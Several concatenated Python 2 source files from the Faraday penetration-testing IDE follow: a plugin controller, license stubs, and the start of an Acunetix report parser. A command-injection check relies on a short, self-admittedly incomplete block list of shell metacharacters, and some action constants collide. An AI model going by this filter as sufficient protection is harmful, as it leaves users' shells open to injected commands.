4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 import multiprocessing
11 import shlex
12 import copy_reg
13 import types
14 import model.api
15 from cStringIO import StringIO
16 import os
17 import re
18 import Queue
19 import traceback
20 import model.common
21 import errno
22 from model.common import factory, ModelObjectVuln, ModelObjectVulnWeb, ModelObjectNote, ModelObjectCred
23 from model.hosts import Host, Interface, Service
24
25 from model.commands_history import CommandRunInformation
26
27 from time import time
28
29 from config.configuration import getInstanceConfiguration
30 CONF = getInstanceConfiguration()
31
32
33 def _pickle_method(method):
34 func_name = method.im_func.__name__
35 obj = method.im_self
36 cls = method.im_class
37 return _unpickle_method, (func_name, obj, cls)
38
39
40 def _unpickle_method(func_name, obj, cls):
41 for cls in cls.mro():
42 try:
43 func = cls.__dict__[func_name]
44 except KeyError:
45 pass
46 else:
47 break
48 return func.__get__(obj, cls)
49
50 copy_reg.pickle(types.MethodType, _pickle_method, _unpickle_method)
51
52
53 class modelactions:
54 ADDHOST = 2000
55 CADDHOST = 2001
56 ADDINTERFACE = 2002
57 CADDINTERFACE = 2003
58 ADDSERVICEINT = 2004
59 ADDSERVICEAPP = 2005
60 CADDSERVICEINT = 2006
61 CADDSERVICEAPP = 2007
62 CADDSERVICEHOST = 2008
63 ADDAPPLICATION = 2009
64 CADDAPPLICATION = 2010
65 ADDVULNINT = 2013
66 CADDVULNINT = 2014
67 ADDVULNAPP = 2015
68 CADDVULNAPP = 2016
69 ADDVULNHOST = 2017
70 CADDVULNHOST = 2018
71 ADDVULNSRV = 2019
72 CADDVULNSRV = 2020
73 ADDNOTEINT = 2021
74 CADDNOTEINT = 2022
75 ADDNOTEAPP = 2023
76 CADDNOTEAPP = 2024
77 ADDNOTEHOST = 2025
78 CADDNOTEHOST = 2026
79 ADDNOTESRV = 2027
80 CADDNOTESRV = 2028
81 CADDNOTEVULN = 2030
82 CADDNOTEVULN = 2031
83 LOG = 2032
84 DEVLOG = 2033
85 DELSERVICEINT = 2034
86 ADDCREDSRV = 2035
87 CADDCREDSRV = 2036
88 ADDVULNWEBSRV = 2037
89 CADDVULNWEBSRV = 2038
90 ADDNOTENOTE = 2039
91 CADDNOTENOTE = 2039
92
93 __descriptions = {
94 ADDHOST : "ADDHOST",
95 CADDHOST : "CADDHOST",
96 ADDINTERFACE : "ADDINTERFACE",
97 CADDINTERFACE : "CADDINTERFACE",
98 ADDSERVICEINT : "ADDSERVICEINT",
99 ADDSERVICEAPP : "ADDSERVICEAPP",
100 CADDSERVICEINT : "CADDSERVICEINT",
101 CADDSERVICEAPP : "CADDSERVICEAPP",
102 CADDSERVICEHOST : "CADDSERVICEHOST",
103 ADDAPPLICATION : "ADDAPPLICATION",
104 CADDAPPLICATION : "CADDAPPLICATION",
105 ADDVULNINT : "ADDVULNINT",
106 CADDVULNINT : "CADDVULNINT",
107 ADDVULNAPP : "ADDVULNAPP",
108 CADDVULNAPP : "CADDVULNAPP",
109 ADDVULNHOST : "ADDVULNHOST",
110 CADDVULNHOST : "CADDVULNHOST",
111 ADDVULNSRV : "ADDVULNSRV",
112 CADDVULNSRV : "CADDVULNSRV",
113 LOG : "LOG",
114 DEVLOG : "DEVLOG",
115 DELSERVICEINT : "DELSERVICEINT",
116 ADDCREDSRV : "ADDCREDINT",
117 ADDVULNWEBSRV : "ADDVULNWEBSRV",
118 CADDVULNWEBSRV : "CADDVULNWEBSRV",
119 ADDNOTENOTE : "ADDNOTENOTE",
120 CADDNOTENOTE : "CADDNOTENOTE",
121 }
122
123 @staticmethod
124 def getDescription(action):
125 return modelactions.__descriptions.get(action, "")
126
127
128 class PluginControllerBase(object):
129 """
130 TODO: Doc string.
131 """
132 def __init__(self, id, available_plugins, mapper_manager):
133 self._plugins = available_plugins
134 self.id = id
135 self._actionDispatcher = None
136 self._setupActionDispatcher()
137
138 self._mapper_manager = mapper_manager
139
140 def _find_plugin(self, new_plugin_id):
141 try:
142 return self._plugins[new_plugin_id]
143 except KeyError:
144 return None
145
146 def _is_command_malformed(self, original_command, modified_command):
147 """
148 Checks if the command to be executed is safe and it's not in the block list
149 defined by the user. Returns False if the modified command is ok, True if
150 otherwise.
151
152 TODO: Use global command block list.
153 TODO: complete block idioms
154 """
155 block_chars = set(["|", "$", "#"])
156
157 if original_command == modified_command:
158 return False
159
160 orig_cmd_args = shlex.split(original_command)
161
162 if not isinstance(modified_command, basestring):
163 modified_command = ""
164 mod_cmd_args = shlex.split(modified_command)
165
166 block_flag = False
167 orig_args_len = len(orig_cmd_args)
168 for index in xrange(0, len(mod_cmd_args)):
169 if index < orig_args_len and orig_cmd_args[index] == mod_cmd_args[index]:
170 continue
171
172 for char in block_chars:
173 if char in mod_cmd_args[index]:
174 block_flag = True
175 break
176
177 return block_flag
178
179 def _get_plugins_by_input(self, current_input):
180 """
181 Finds a plugin that can parse the current input and returns the plugin
182 object. Otherwise returns None.
183 """
184 for plugin in self._plugins.itervalues():
185 if plugin.canParseCommandString(current_input):
186 return plugin
187 return None
188
189 def getAvailablePlugins(self):
190 """
191 Return a dictionary with the available plugins.
192 Plugin ID's as keys and plugin instences as values
193 """
194 return self._plugins
195
196 def processOutput(self, plugin, output):
197 output_queue = multiprocessing.JoinableQueue()
198 new_elem_queue = multiprocessing.Queue()
199
200 plugin_process = PluginProcess(plugin, output_queue, new_elem_queue)
201 model.api.devlog("PluginController (%d) - Created plugin_process (%d) for plugin instance (%d)" %
202 (id(self), id(plugin_process), id(plugin)))
203
204 plugin_process.start()
205
206 output_queue.put(output)
207 output_queue.put(None)
208 output_queue.join()
209
210 #model.api.devlog("Core: queue size '%s'" % new_elem_queue.qsize())
211 while True:
212 try:
213 current_action = new_elem_queue.get(block=False)
214 if current_action is None:
215 break
216 action = current_action[0]
217 parameters = current_action[1:]
218 model.api.devlog("Core: Processing a new '%s' , parameters (%s) \n" % (action,str(parameters)))
219 self._processAction(action, parameters)
220
221 except Queue.Empty:
222 continue
223 except IOError, e:
224 if e.errno == errno.EINTR:
225 continue
226 else:
227 model.api.devlog("PluginController.onCommandFinished - new_elem_queue Exception- something strange happened... unhandled exception?")
228 model.api.devlog(traceback.format_exc())
229 break
230 except Exception:
231 model.api.devlog("PluginController.onCommandFinished - new_elem_queue Exception- something strange happened... unhandled exception?")
232 model.api.devlog(traceback.format_exc())
233 break
234
235 def _processAction(self, action, parameters):
236 """
237 decodes and performs the action given
238 It works kind of a dispatcher
239 """
240 model.api.devlog("(PluginController) _processAction - %s - parameters = %s" % (action, str(parameters)))
241 res = self._actionDispatcher[action](*parameters)
242
243 def _setupActionDispatcher(self):
244 self._actionDispatcher = {
245 modelactions.ADDHOST : model.api.addHost,
246 modelactions.CADDHOST : model.api.createAndAddHost,
247 modelactions.ADDINTERFACE : model.api.addInterface,
248 modelactions.CADDINTERFACE : model.api.createAndAddInterface,
249 modelactions.ADDSERVICEINT : model.api.addServiceToInterface,
250 modelactions.ADDSERVICEAPP : model.api.addServiceToApplication,
251 modelactions.CADDSERVICEINT : model.api.createAndAddServiceToInterface,
252 modelactions.CADDSERVICEAPP : model.api.createAndAddServiceToApplication,
253 modelactions.ADDAPPLICATION : model.api.addApplication,
254 modelactions.CADDAPPLICATION : model.api.createAndAddApplication,
255 modelactions.DELSERVICEINT : model.api.delServiceFromInterface,
256 #Vulnerability
257 modelactions.ADDVULNINT : model.api.addVulnToInterface,
258 modelactions.CADDVULNINT : model.api.createAndAddVulnToInterface,
259 modelactions.ADDVULNAPP : model.api.addVulnToApplication,
260 modelactions.CADDVULNAPP : model.api.createAndAddVulnToApplication,
261 modelactions.ADDVULNHOST : model.api.addVulnToHost,
262 modelactions.CADDVULNHOST : model.api.createAndAddVulnToHost,
263 modelactions.ADDVULNSRV : model.api.addVulnToService,
264 modelactions.CADDVULNSRV : model.api.createAndAddVulnToService,
265 #VulnWeb
266 modelactions.ADDVULNWEBSRV : model.api.addVulnWebToService,
267 modelactions.CADDVULNWEBSRV : model.api.createAndAddVulnWebToService,
268 #Note
269 modelactions.ADDNOTEINT : model.api.addNoteToInterface,
270 modelactions.CADDNOTEINT : model.api.createAndAddNoteToInterface,
271 modelactions.ADDNOTEAPP : model.api.addNoteToApplication,
272 modelactions.CADDNOTEAPP : model.api.createAndAddNoteToApplication,
273 modelactions.ADDNOTEHOST : model.api.addNoteToHost,
274 modelactions.CADDNOTEHOST : model.api.createAndAddNoteToHost,
275 modelactions.ADDNOTESRV : model.api.addNoteToService,
276 modelactions.CADDNOTESRV : model.api.createAndAddNoteToService,
277 modelactions.ADDNOTENOTE : model.api.addNoteToNote,
278 modelactions.CADDNOTENOTE : model.api.createAndAddNoteToNote,
279 #Creds
280 modelactions.CADDCREDSRV : model.api.createAndAddCredToService,
281 modelactions.ADDCREDSRV : model.api.addCredToService,
282 #modelactions.ADDNOTEVULN : model.api.createAndAddNoteToApplication,
283 #modelactions.CADDNOTEVULN : model.api.createAndAddNoteToApplication,
284 #LOG
285 modelactions.LOG : model.api.log,
286 modelactions.DEVLOG : model.api.devlog,
287 }
288
289 def updatePluginSettings(self, plugin_id, new_settings):
290 if plugin_id in self._plugins:
291 self._plugins[plugin_id].updateSettings(new_settings)
292
293
294 class PluginController(PluginControllerBase):
295 """
296 TODO: Doc string.
297 """
298 def __init__(self, id, available_plugins, mapper_manager):
299 PluginControllerBase.__init__(self, id, available_plugins, mapper_manager)
300 self._active_plugin = None
301 self.last_command_information = None
302 self._buffer = StringIO()
303
304 def setActivePlugin(self, plugin):
305 self._active_plugin = plugin
306
307 def processCommandInput(self, prompt, username, current_path, command_string, interactive):
308 """
309 Receives the prompt that the current session has, the actual command_string that
310 the user typed and if the command is interactive. If it is interactive the
311 plugin controller does not choose a new active plugin but use the one the
312 is already set (if none is set it raises an exeception).
313
314 If always returns an string. It could be modified by the active plugin or, if
315 there is none available, it will return the original command_string.
316 """
317
318 if interactive:
319 return None
320 else:
321 self._disable_active_plugin()
322
323 choosen_plugin = self._get_plugins_by_input(command_string)
324 if choosen_plugin is None:
325 model.api.devlog("There is no active plugin to handle current command/user input")
326 return None
327 self._active_plugin = choosen_plugin
328
329 modified_cmd_string = self._active_plugin.processCommandString(
330 username,
331 current_path,
332 command_string)
333
334 if self._is_command_malformed(command_string, modified_cmd_string):
335 return None
336 else:
337 cmd_info = CommandRunInformation(
338 **{'workspace': model.api.getActiveWorkspace().name,
339 'itime': time(),
340 'command': command_string.split()[0],
341 'params': ' '.join(command_string.split()[1:])})
342 self._mapper_manager.save(cmd_info)
343
344 self.last_command_information = cmd_info
345
346 return modified_cmd_string if isinstance(modified_cmd_string, basestring) else None
347
348 def storeCommandOutput(self, output):
349 """
350 Receives and output string and stores it in the buffer. Returns False
351 if the output was not added to the plugin controllers buffer. Returns
352 True otherwise.
353 """
354 if not self.getActivePluginStatus():
355 return False
356 else:
357 self._buffer.write(output)
358 return True
359
360 def getPluginAutocompleteOptions(self, prompt, username, current_path, command_string, interactive):
361 """
362 This method should return a list of possible completitions based on the
363 current output.
364 TODO: We should think how to actually implement this...
365 May be checking which plugin should handle the command in the current input
366 and then passing it to the plugin to return a list of possible values.
367 Each plugin implementation should return possible option according to
368 what was received since it's the plugin the one it knows the command line
369 parameters, etc.
370 """
371 if interactive:
372 return None
373 else:
374 self._disable_active_plugin()
375
376 choosen_plugin = self._get_plugins_by_input(command_string)
377 if choosen_plugin is None:
378 model.api.devlog("There is no active plugin to handle current command/user input")
379 return None
380
381 self._active_plugin = choosen_plugin
382
383 new_options = self._active_plugin.getCompletitionSuggestionsList(command_string)
384 return new_options
385
386 def getActivePluginStatus(self):
387 """
388 Returns true if an active plugin is set, otherwise return False.
389 """
390 return (self._active_plugin is not None)
391
392 def _disable_active_plugin(self):
393 """
394 This method is suppose to disable the active plugin.
395 """
396 model.api.devlog("Disabling active plugin")
397 self._active_plugin = None
398
399 def onCommandFinished(self):
400 """
401 This method is called when the last executed command has finished. It's
402 in charge of giving the plugin the output to be parsed.
403 """
404 cmd_info = self.last_command_information
405 cmd_info.duration = time() - cmd_info.itime
406 self._mapper_manager.save(cmd_info)
407
408 if self._active_plugin.has_custom_output():
409 output_file = open(self._active_plugin.get_custom_file_path(), 'r')
410 output = output_file.read()
411 self._buffer.seek(0)
412 self._buffer.truncate()
413 self._buffer.write(output)
414
415 self.processOutput(self._active_plugin, self._buffer.getvalue())
416
417 self._buffer.seek(0)
418 self._buffer.truncate()
419 model.api.devlog("PluginController buffer cleared")
420
421 self._disable_active_plugin()
422
423 return True
424
425
426 class PluginControllerForApi(PluginControllerBase):
427 def __init__(self, id, available_plugins, mapper_manager):
428 PluginControllerBase.__init__(self, id, available_plugins, mapper_manager)
429 self._active_plugins = {}
430
431 def processCommandInput(self, command_string):
432
433 plugin = self._get_plugins_by_input(command_string)
434
435 if plugin:
436 modified_cmd_string = plugin.processCommandString("", "", command_string)
437 if not self._is_command_malformed(command_string, modified_cmd_string):
438
439 cmd_info = CommandRunInformation(
440 **{'workspace': model.api.getActiveWorkspace().name,
441 'itime': time(),
442 'command': command_string.split()[0],
443 'params': ' '.join(command_string.split()[1:])})
444 self._mapper_manager.save(cmd_info)
445
446 self._active_plugins[command_string] = plugin, cmd_info
447
448 output_file_path = None
449 if plugin.has_custom_output():
450 output_file_path = plugin.get_custom_file_path()
451 return True, modified_cmd_string, output_file_path
452
453 return False, None, None
454
455 def getPluginAutocompleteOptions(self, command_string):
456 # if interactive:
457 # return None
458 # else:
459 # self._disable_active_plugin()
460
461 # choosen_plugin = self._get_plugins_by_input(command_string)
462 # if choosen_plugin is None:
463 # model.api.devlog("There is no active plugin to handle current command/user input")
464 # return None
465
466 # self._active_plugin = choosen_plugin
467
468 # new_options = self._active_plugin.getCompletitionSuggestionsList(command_string)
469 # return new_options
470 pass
471
472 def onCommandFinished(self, cmd, output):
473 if cmd not in self._active_plugins.keys():
474 return False
475
476 plugin, cmd_info = self._active_plugins.get(cmd)
477 cmd_info.duration = time() - cmd_info.itime
478 self._mapper_manager.save(cmd_info)
479
480 self.processOutput(plugin, output)
481
482 del self._active_plugins[cmd]
483 return True
484
485 def clearActivePlugins(self):
486 self._active_plugins = {}
487
488
489 class PluginBase(object):
490 # TODO: Add class generic identifier
491 class_signature = "PluginBase"
492
493 def __init__(self):
494
495 self.data_path = CONF.getDataPath()
496 self.persistence_path = CONF.getPersistencePath()
497 # Must be unique. Check that there is not
498 # an existant plugin with the same id.
499 # TODO: Make script that list current ids.
500 self.id = None
501 self._rid = id(self)
502 self.version = None
503 self.name = None
504 self.description = ""
505 self._command_regex = None
506 self._output_file_path = None
507 self.framework_version = None
508 self._completition = {}
509 self._new_elems = []
510 self._pending_actions = Queue.Queue()
511 self._settings = {}
512
513 def has_custom_output(self):
514 return bool(self._output_file_path)
515
516 def get_custom_file_path(self):
517 return self._output_file_path
518
519 def getSettings(self):
520 for param, (param_type, value) in self._settings.iteritems():
521 yield param, value
522
523 def getSetting(self, name):
524 setting_type, value = self._settings[name]
525 return value
526
527 def addSetting(self, param, param_type, value):
528 self._settings[param] = param_type, value
529
530 def updateSettings(self, new_settings):
531 for name, value in new_settings.iteritems():
532 setting_type, curr_value = self._settings[name]
533 self._settings[name] = setting_type, setting_type(value)
534
535 def canParseCommandString(self, current_input):
536 """
537 This method can be overriden in the plugin implementation
538 if a different kind of check is needed
539 """
540 return self._command_regex is not None and\
541 self._command_regex.match(current_input.strip()) is not None
542
543
544 def getCompletitionSuggestionsList(self, current_input):
545 """
546 This method can be overriden in the plugin implementation
547 if a different kind of check is needed
548 """
549
550 words=current_input.split(" ")
551
552 cword=words[len(words)-1]
553
554
555
556 options={}
557 for k,v in self._completition.iteritems():
558 if re.search(str("^"+cword),k,flags=re.IGNORECASE):
559
560 options[k]=v
561
562 return options
563
564 def parseOutputString(self, output):
565 """
566 This method must be implemented.
567 This method will be called when the command finished executing and
568 the complete output will be received to work with it
569 Using the output the plugin can create and add hosts, interfaces, services, etc.
570 """
571 pass
572
573 def processCommandString(self, username, current_path, command_string):
574 """
575 With this method a plugin can add aditional arguments to the command that
576 it's going to be executed.
577 """
578 return None
579
580 def getParsedElementsDict(self):
581 """
582 This method must be implemented and must return
583 a dictionary with the following form.
584
585 { 'FrameworkVersion': self.framework_version,
586 'HostList': list_of_host_dictionaries,
587 'PortList': list_of_port_dictionaries }
588
589 list_of_host_dictionaries: must be 'None' or a list of
590 dictionaries that have the following form
591
592 { 'HostId': string,
593 'HostAddress': string,
594 ... }
595
596 list_of_port_dictionaries: must be 'None' or a list of
597 dictionaries that have the following form
598
599 { 'PortNumber': integer,
600 'Status': 'OPEN' or 'CLOSED',
601 'Service': string,
602 ... }
603 """
604 pass
605
606 def _set_host(self):
607
608 pass
609
610 def __addPendingAction(self, *args):
611 """
612 Adds a new pending action to the queue
613 Action is build with generic args tuple.
614 The caller of this function has to build the action in the right
615 way since no checks are preformed over args
616 """
617 self._pending_actions.put(args)
618
619 def createAndAddHost(self, name, os = "unknown", category = None, update = False, old_hostname = None):
620 self.__addPendingAction(modelactions.CADDHOST, name, os, category, update, old_hostname)
621 return factory.generateID(Host.class_signature, name=name, os=os)
622
623 def createAndAddInterface(self, host_id, name = "", mac = "00:00:00:00:00:00",
624 ipv4_address = "0.0.0.0", ipv4_mask = "0.0.0.0",
625 ipv4_gateway = "0.0.0.0", ipv4_dns = [],
626 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_prefix = "00",
627 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_dns = [],
628 network_segment = "", hostname_resolution = []):
629 self.__addPendingAction(modelactions.CADDINTERFACE, host_id, name, mac, ipv4_address,
630 ipv4_mask, ipv4_gateway, ipv4_dns, ipv6_address, ipv6_prefix, ipv6_gateway, ipv6_dns,
631 network_segment, hostname_resolution)
632 return factory.generateID(
633 Interface.class_signature, parent_id=host_id, name=name, mac=mac,
634 ipv4_address=ipv4_address, ipv4_mask=ipv4_mask,
635 ipv4_gateway=ipv4_gateway, ipv4_dns=ipv4_dns,
636 ipv6_address=ipv6_address, ipv6_prefix=ipv6_prefix,
637 ipv6_gateway=ipv6_gateway, ipv6_dns=ipv6_dns,
638 network_segment=network_segment,
639 hostname_resolution=hostname_resolution)
640
641 def createAndAddServiceToInterface(self, host_id, interface_id, name, protocol = "tcp?",
642 ports = [], status = "running", version = "unknown", description = ""):
643 self.__addPendingAction(modelactions.CADDSERVICEINT, host_id, interface_id, name, protocol,
644 ports, status, version, description)
645 return factory.generateID(
646 Service.class_signature,
647 name=name, protocol=protocol, ports=ports,
648 status=status, version=version, description=description, parent_id=interface_id)
649
650 def createAndAddVulnToHost(self, host_id, name, desc="", ref=[], severity=""):
651 self.__addPendingAction(modelactions.CADDVULNHOST, host_id, name, desc, ref, severity)
652 return factory.generateID(
653 ModelObjectVuln.class_signature,
654 name=name, desc=desc, ref=ref, severity=severity,
655 parent_id=host_id)
656
657 def createAndAddVulnToInterface(self, host_id, interface_id, name, desc="", ref=[], severity=""):
658 self.__addPendingAction(modelactions.CADDVULNINT, host_id, interface_id, name, desc, ref, severity)
659 return factory.generateID(
660 ModelObjectVuln.class_signature,
661 name=name, desc=desc, ref=ref, severity=severity,
662 parent_id=interface_id)
663
664 def createAndAddVulnToService(self, host_id, service_id, name, desc="", ref=[], severity=""):
665 self.__addPendingAction(modelactions.CADDVULNSRV, host_id, service_id, name, desc, ref, severity)
666 return factory.generateID(
667 ModelObjectVuln.class_signature,
668 name=name, desc=desc, ref=ref, severity=severity,
669 parent_id=service_id)
670
671 def createAndAddVulnWebToService(self, host_id, service_id, name, desc="", ref=[], severity="", website="", path="", request="",
672 response="",method="",pname="", params="",query="",category=""):
673 self.__addPendingAction(modelactions.CADDVULNWEBSRV, host_id, service_id, name, desc, ref, severity, website, path, request, response,
674 method,pname, params,query,category)
675 return factory.generateID(
676 ModelObjectVulnWeb.class_signature,
677 name=name, desc=desc, ref=ref, severity=severity,
678 website=website, path=path, request=request, response=response,
679 method=method, pname=pname, params=params, query=query,
680 category=category, parent_id=service_id)
681
682 def createAndAddNoteToHost(self, host_id, name, text):
683 self.__addPendingAction(modelactions.CADDNOTEHOST, host_id, name, text)
684 return factory.generateID(
685 ModelObjectNote.class_signature,
686 name=name, text=text, parent_id=host_id)
687
688 def createAndAddNoteToInterface(self, host_id, interface_id, name, text):
689 self.__addPendingAction(modelactions.CADDNOTEINT, host_id, interface_id, name, text)
690 return factory.generateID(
691 ModelObjectNote.class_signature,
692 name=name, text=text, parent_id=interface_id)
693
694 def createAndAddNoteToService(self, host_id, service_id, name, text):
695 self.__addPendingAction(modelactions.CADDNOTESRV, host_id, service_id, name, text)
696 return factory.generateID(
697 ModelObjectNote.class_signature,
698 name=name, text=text, parent_id=service_id)
699
700 def createAndAddNoteToNote(self, host_id, service_id, note_id, name, text):
701 self.__addPendingAction(modelactions.CADDNOTENOTE, host_id, service_id, note_id, name, text)
702 return factory.generateID(
703 ModelObjectNote.class_signature,
704 name=name, text=text, parent_id=note_id)
705
706 def createAndAddCredToService(self, host_id, service_id, username, password):
707 self.__addPendingAction(modelactions.CADDCREDSRV, host_id, service_id, username, password)
708 return factory.generateID(
709 ModelObjectCred.class_signature,
710 username=username, password=password, parent_id=service_id)
711
712 def addHost(self, host, category=None,update=False, old_hostname=None):
713 self.__addPendingAction(modelactions.ADDHOST, host, category, update, old_hostname)
714
715 def addInterface(self, host_id, interface):
716 self.__addPendingAction(modelactions.ADDINTERFACE, host_id, interface)
717
718 def addApplication(self, host_id, application):
719 self.__addPendingAction(modelactions.ADDAPPLICATION, host_id, application)
720
721 def addServiceToApplication(self, host_id, application_id, service):
722 self.__addPendingAction(modelactions.ADDSERVICEAPP, host_id, application_id, service)
723
724 def addServiceToInterface(self, host_id, interface_id, service):
725 self.__addPendingAction(modelactions.ADDSERVICEINT, host_id, interface_id, service)
726
727 def addVulnToHost(self, host_id, vuln):
728 self.__addPendingAction(modelactions.ADDVULNHOST, host_id, vuln)
729
730 def addVulnToInterface(self, host_id, interface_id, vuln):
731 self.__addPendingAction(modelactions.ADDVULNINT, host_id, interface_id, vuln)
732
733 def addVulnToApplication(self, host_id, application_id, vuln):
734 self.__addPendingAction(modelactions.ADDVULNAPP, host_id, application_id, vuln)
735
736 def addVulnToService(self, host_id, service_id, vuln):
737 self.__addPendingAction(modelactions.ADDVULNSRV, host_id, service_id, vuln)
738
739 def addVulnWebToService(self, host_id, service_id, vuln):
740 self.__addPendingAction(modelactions.ADDVULNWEBSRV, host_id, service_id, vuln)
741
742 def addNoteToHost(self, host_id, note):
743 self.__addPendingAction(modelactions.ADDNOTEHOST, host_id, note)
744
745 def addNoteToInterface(self, host_id, interface_id, note):
746 self.__addPendingAction(modelactions.ADDNOTEINT, host_id, interface_id, note)
747
748 def addNoteToApplication(self, host_id, application_id, note):
749 self.__addPendingAction(modelactions.ADDNOTEAPP, host_id, application_id, note)
750
751 def addNoteToService(self, host_id, service_id, note):
752 self.__addPendingAction(modelactions.ADDNOTESRV, host_id, service_id, note)
753
754 def addNoteToNote(self, host_id, service_id,note_id, note):
755 self.__addPendingAction(modelactions.ADDNOTENOTE, host_id, service_id, note_id, note)
756
757 def addCredToService(self, host_id, service_id, cred):
758 self.__addPendingAction(modelactions.ADDCREDSRV, host_id, service_id, cred)
759
760 def delServiceFromInterface(self, service, hostname,
761 intname, remote = True):
762 self.__addPendingAction(modelactions.DELSERVICEINT,hostname,intname,service,remote)
763
764 def log(self, msg, level='INFO'):
765 self.__addPendingAction(modelactions.LOG,msg,level)
766
767 def devlog(self, msg):
768 self.__addPendingAction(modelactions.DEVLOG,msg)
769
770
771 class PluginProcess(multiprocessing.Process):
772 def __init__(self, plugin_instance, output_queue, new_elem_queue):
773 multiprocessing.Process.__init__(self)
774 self.output_queue = output_queue
775 self.new_elem_queue = new_elem_queue
776 self.plugin = plugin_instance
777
778
779 def run(self):
780 proc_name = self.name
781 model.api.devlog("-" * 40)
782 model.api.devlog("proc_name = %s" % proc_name)
783 model.api.devlog("Starting run method on PluginProcess")
784 model.api.devlog('parent process: %s' % os.getppid())
785 model.api.devlog('process id: %s' % os.getpid())
786 model.api.devlog("-" * 40)
787 done = False
788 while not done:
789 output = self.output_queue.get()
790 if output is not None:
791 model.api.devlog('%s: %s' % (proc_name, "New Output"))
792 try:
793 self.plugin.parseOutputString(output)
794 except Exception as e:
795
796 model.api.devlog("Plugin raised an exception:")
797 model.api.devlog(traceback.format_exc())
798 else:
799 while True:
800 try:
801 self.new_elem_queue.put(self.plugin._pending_actions.get(block=False))
802 except Queue.Empty:
803 model.api.devlog("PluginProcess run _pending_actions queue Empty. Breaking loop")
804 break
805 except Exception:
806 model.api.devlog("PluginProcess run getting from _pending_action queue - something strange happened... unhandled exception?")
807 model.api.devlog(traceback.format_exc())
808 break
809
810 else:
811
812 done = True
813 model.api.devlog('%s: Exiting' % proc_name)
814
815 self.output_queue.task_done()
816 self.new_elem_queue.put(None)
817 return
818
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __version__ = "1.0.0"
33 __maintainer__ = "Francisco Amato"
34 __email__ = "[email protected]"
35 __status__ = "Development"
36
37
38
39
40
41 class AcunetixXmlParser(object):
42 """
43 The objective of this class is to parse an xml file generated by the acunetix tool.
44
45 TODO: Handle errors.
46 TODO: Test acunetix output version. Handle what happens if the parser doesn't support it.
47 TODO: Test cases.
48
49 @param acunetix_xml_filepath A proper xml generated by acunetix
50 """
51 def __init__(self, xml_output):
52 #self.filepath = acunetix_xml_filepath
53
54 tree = self.parse_xml(xml_output)
55
56 if tree:
57 self.sites = [data for data in self.get_items(tree)]
58 else:
59 self.sites = []
60
61
62 def parse_xml(self, xml_output):
63 """
64 Open and parse an xml file.
65
66 TODO: Write custom parser to just read the nodes that we need instead of
67 reading the whole file.
68
69 @return xml_tree An xml tree instance. None if error.
70 """
71 try:
72 tree = ET.fromstring(xml_output)
73 except SyntaxError, err:
74 print "SyntaxError: %s. %s" % (err, xml_output)
75 return None
76
77 return tree
78
79 def get_items(self, tree):
80 """
81 @return items A list of Host instances
82 """
83
84 for node in tree.findall('Scan'):
85 yield Site(node)
86
87
88
89 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
90 """
91 Finds a subnode in the item node and the retrieves a value from it
92
93 @return An attribute value
94 """
95 global ETREE_VERSION
96 node = None
97
98 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
99
100 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
101 if match_obj is not None:
102 node_to_find = match_obj.group(1)
103 xpath_attrib = match_obj.group(2)
104 xpath_value = match_obj.group(3)
105 for node_found in xml_node.findall(node_to_find):
106 if node_found.attrib[xpath_attrib] == xpath_value:
107 node = node_found
108 break
109 else:
110 node = xml_node.find(subnode_xpath_expr)
111
112 else:
113 node = xml_node.find(subnode_xpath_expr)
114
115 if node is not None:
116 return node.get(attrib_name)
117
118 return None
119
120
121
122
123 class Site(object):
124 def __init__(self, item_node):
125 self.node = item_node
126
127 self.url = self.get_text_from_subnode('StartURL')
128 mregex = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", self.url)
129
130 self.protocol = mregex.group(1)
131 self.host = mregex.group(4)
132 self.port=80
133 if self.protocol == 'https':
134 self.port=443
135 if mregex.group(11) is not None:
136 self.port = mregex.group(11)
137
138
139 self.ip = self.resolve(self.host)
140 self.os = self.get_text_from_subnode('Os')
141 self.banner = self.get_text_from_subnode('Banner')
142 self.items = []
143 for alert in self.node.findall('ReportItems/ReportItem'):
144 self.items.append(Item(alert))
145
